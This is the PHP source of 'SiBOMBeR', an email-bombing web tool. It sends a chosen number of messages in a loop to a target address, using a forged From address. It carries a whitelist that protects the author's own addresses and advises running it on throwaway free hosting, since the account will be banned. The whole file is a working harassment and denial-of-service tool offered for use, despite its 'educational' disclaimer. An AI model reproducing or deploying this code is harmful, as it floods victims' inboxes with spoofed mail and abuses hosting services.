<?php
/* --------------------------------------------
   T-Mail Bo*mber
   coding by : SiKODER 
   Email : Contact@sido.tk
   Greetz to all mikrodata readers
   Note: Use it at your own risk!
----------------------------------------------- */
define("PROGNAME", "SiBOMBeR");
define("VER", "GiGAByte EdiTioN");
define("AUTHOR", "SiDODz");
define("AUTHOR_EMAIL", "Contact@sido.tk");
define("CURRENT_FILE", $_SERVER['PHP_SELF']);

# Whitelist email, can't be set as target. Add your own email here.
$WhiteList = array("contact@sido.tk","wordpress@sido.tk","sidodz@hotmail.com","sidahmedima@hotmail");
$eer = "";

//Change this default value as your wish.
$ulang = 100;
function sanitize($text){
  $text = htmlspecialchars($text, ENT_QUOTES);
  $text = str_replace("\n\r","\n",$text);
  $text = str_replace("\r\n","\n",$text);
  $text = str_replace("\n","<br />",$text);
  return $text;
}
?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" lang="en">
<head>
<!--
    This program is ! perfect yet
    I'm gonna fix some bugs and adding more feature when the time is right.
-->
  <meta http-equiv="cache-control" content="no-cache" />
  <meta name="robots" content="noindex,nofollow" />
  <meta name="author" content="M1nD_Pow3r" />
  <meta name="description" content="<?php echo PROGNAME ?> are often used solely for educational, or entertainment purposes only. <?php echo AUTHOR ?> cannot be held responsible for any (ab)use of <?php echo PROGNAME ?>." />
  <style type="text/css">
    body { color: #00FF00; background-color: #000000; margin: 0; font: 14px courier; }
    a { color: #FF0000; }
    a:hover { font-weight: bold; }
    #container { width: 800px; margin: 0 auto; }
    p { text-align: center; }
    .error { color: #FF0000; }
    h1 { text-align: center; }
    h3 { text-align: center; }
    input { background: none; color: #FF0000; }
    textarea { width: 800px; height: 200px; background: none; color: #FFFFFF; }
  </style>

  <title><?php echo PROGNAME. " " .VER ?></title>
</head>

<body>
  <div id="container">
<?php
echo "<h1>" .PROGNAME. " " .VER. "</h1>";
if(isset($_POST['HudiSuck'])){
  $ulang    = $_POST['jumlah'];
  $target   = strtolower($_POST['target']);
  $subject  = $_POST['Subj'];
  $dari     = $_POST['dari'];
  $content  = sanitize($_POST['content']);
  $headers  = "From: $dari\r\n";
  $headers .= "MIME-Version: 1.0\r\n";
  $boundary = uniqid("you");
  $headers .= "Content-Type: multipart/mixed; boundary = $boundary\r\n\r\n";

  if(empty($ulang) || empty($target) || empty($dari)){
    $eer = "<p class=\"error\">[*] Error Sending Email! -> Target, Your Fake Email, or how many email you want to send is Empty!</p>";
  }
  elseif(in_array($target,$WhiteList)){
    echo "<h3>[*] SORRY, " .PROGNAME. " CAN'T FLOOD TO " .$target. "</h3>";
    exit();
  }
  else{
    // Use HTML Mail Encoding
    $body = "--$boundary\r\n" .
    "Content-Type: text/html; charset=ISO-8859-1\r\n" .
    "Content-Transfer-Encoding: base64\r\n\r\n";
    $body .= chunk_split(base64_encode($content));

    // Sending message
    for($i=0;$i<$ulang;$i++){
      $action = @mail($target, $subject, $body, $headers);
    }
    if($action){
      echo "<p>Hell Yeah!!! $i mail sent to $target !</p>";
      echo "<p><a href=\"" .CURRENT_FILE. "\">Go Back</a></p>";
      exit();
    }
		else{
      echo "<p>Failed Booming " .$target. "! Incorrect Mail Server configuration. Please try again latter =(</p>";
      echo "<p><a href=\"" .CURRENT_FILE. "\">Go Back</a></p>";
      exit();
    }
  }
}

echo "<p>coding by " .AUTHOR. " (" .AUTHOR_EMAIL. ")<br />
Greetz to all mikrodata readers<br /><p>";
echo $eer;
?>
    <form method="post">
      <p>Target Email : [For Ex: hudi@unika.ac.id]<br />
      <input type="text" name="target" /><br /></p>

      <p>Subject : [For Ex: Please Help!!!]<br />
      <input type="text" name="Subj" /><br /></p>

      <p>From : [Your fake email address. For Ex: fuckyou@youmotherfucker.com]<br />
      <input type="text" name="dari" /><br /></p>

      <p>How many mail you want to send?? (int)<br />
      <input type="text" name="jumlah" value="<?php echo $ulang ?>" /><br /></p>

      <p>Content : [Your content goes here]<br /></p>
      <textarea name="content"> TEX Area</textarea><br/>
      <center><input type="submit" name="HudiSuck" value="BOoM ! !" /></center>
    </form>
	<!---Custom Versio -->
	<form method="post">
  <input type="hidden" name="formID" value="20400810758" />
  <div class="form-all">
    <ul class="form-section">
      <li id="cid_1" class="form-input-wide">
        <div class="form-header-group">
          <h2 id="header_1" class="form-header">
            SiBOMBER GiGAByte Edition
          </h2>
          <div id="subHeader_1" class="form-subHeader">
            By SiDoDZ
          </div>
        </div>
      </li>
      <li class="form-line" id="id_7">
        <label class="form-label-left" id="label_7" for="input_7">
          Amount of Messages<span class="form-required">*</span>
        </label>
        <div id="cid_7" class="form-input">
          <input type="text" class="form-textbox validate[required, Numeric]" id="input_7" name="jumlah" size="65" />
        </div>
      </li>
      <li class="form-line" id="id_4">
        <label class="form-label-left" id="label_4" for="input_4">
          From<span class="form-required">*</span>
        </label>
        <div id="cid_4" class="form-input">
          <input type="text" class="form-textbox validate[required]" id="input_4" name="dari" size="65" />
        </div>
      </li>
      <li class="form-line" id="id_5">
        <label class="form-label-left" id="label_5" for="input_5">
          Target :<span class="form-required">*</span>
        </label>
        <div id="cid_5" class="form-input">
          <input type="text" class="form-textbox validate[required, Email]" id="input_5" name="target" size="65" />
        </div>
      </li>
      <li class="form-line" id="id_6">
        <label class="form-label-left" id="label_6" for="input_6">
          Subject<span class="form-required">*</span>
        </label>
        <div id="cid_6" class="form-input">
          <input type="text" class="form-textbox validate[required, AlphaNumeric]" id="input_6" name="Subj" size="65" />
        </div>
      </li>
      <li class="form-line" id="id_8">
        <label class="form-label-left" id="label_8" for="input_8">
          Message<span class="form-required">*</span>
        </label>
        <div id="cid_8" class="form-input">
          <div class="form-textarea-limit"><span><textarea id="input_8" class="form-textarea validate[required]" name="content" cols="40" rows="6"></textarea>
              <div class="form-textarea-limit-indicator"><span type="Letters" limit="1000" id="input_8-limit">0/1000</span>
              </div></span>
          </div>
        </div>
      </li>
      <li class="form-line" id="id_9">
        <label class="form-label-left" id="label_9" for="input_9">
          Enter This Captcha<span class="form-required">*</span>
        </label>
        <div id="cid_9" class="form-input">
          <div class="form-captcha">
            <label for="input_9"> <img alt="Captcha - Reload if it's not displayed" id="input_9_captcha" class="form-captcha-image" style="background:url(http://www.jotform.com/images/loader-big.gif) no-repeat center;" src="http://www.jotform.com/images/blank.gif" width="150" height="41" /> </label>
            <div style="white-space:nowrap;">
              <input type="text" id="input_9" class="form-textbox validate[required]" name="captcha" style="width:130px;" />
              <img src="http://www.jotform.com/images/reload.png" alt="Reload" align="absmiddle" style="cursor:pointer" onclick="JotForm.reloadCaptcha('input_9');" />
              <input type="hidden" name="captcha_id" id="input_9_captcha_id" value="0">
            </div>
          </div>
        </div>
      </li>
      <li class="form-line" id="id_2">
        <div id="cid_2" class="form-input-wide">
          <div style="text-align:center" class="form-buttons-wrapper">
            <button id="input_2" type="submit" name="send" class="form-submit-button form-submit-button-img">
              <img src="http://i.imgur.com/nQBpg.png" alt="> Bomb! < " />
            </button>
          </div>
        </div>
      </li>
      <li style="display:none">
        Should be Empty:
        <input type="text" name="website" value="" />
      </li>
    </ul>
  </div>
  <input type="hidden" id="simple_spc" name="simple_spc" value="20400810758" />
  <script type="text/javascript">
  document.getElementById("si" + "mple" + "_spc").value = "20400810758-20400810758";
  </script>
</form>
<!-- ENd Of Custom Version -->
	
	
	
	
	
	
    <p><?php echo PROGNAME ?> are often used solely for educational, or entertainment purposes only. Author cannot be held responsible for any (ab)use of <?php echo PROGNAME ?>.</p>
	<p><?php echo PROGNAME ?> Can Cause a High CPU Usage So Please USe Free Hosting Like Geocities , InstantFreeSite , Cwahi , Funpic ... <br>
	But Remember Your Account Will Be Banned So Do Not Use in Your Main Hosting </p>
	<P> if you have any probem with <?php Echo PROGNAME ?> you can contact <?PHP Echo AUTHOR ?> By Emailing <?PHP ECHO AUTHOR_EMAIL ?> 
  </div>
</body>
</html>